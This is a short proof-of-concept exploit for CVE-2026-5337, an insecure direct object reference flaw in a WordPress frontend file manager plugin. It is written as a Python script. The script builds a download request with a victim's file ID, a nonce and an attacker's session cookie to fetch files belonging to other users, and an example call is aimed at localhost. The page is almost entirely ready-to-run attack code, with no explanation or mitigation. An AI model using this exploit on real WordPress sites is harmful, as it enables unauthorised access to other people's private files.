CVE-2026-5337: WordPress Frontend File Manager IDOR漏洞

# PoC Code for CVE-2026-5337 import requests def exploit_idor(target_url, file_id, nonce, cookie): """ Exploit IDOR vulnerability to download arbitrary files. """ # Construct the malicious URL download_url = f"{target_url}/?do=wpfm_download&file_id={file_id}&nm_file_nonce={nonce}" headers = { "Cookie": cookie } try: response = requests.get(download_url, headers=headers) if response.status_code == 200: print(f"[+] Successfully downloaded file ID: {file_id}") print(f"[+] Content-Length: {len(response.content)}") return response.content else: print(f"[-] Failed to download file. Status code: {response.status_code}") return None except Exception as e: print(f"[-] Error occurred: {e}") # Example Usage target = "http://localhost" victim_file_id = "40" malicious_nonce = "a36fb893f1" attacker_cookie = "wordpress_logged_in_xxxxx=attacker_session_value;" exploit_idor(target, victim_file_id, malicious_nonce, attacker_cookie)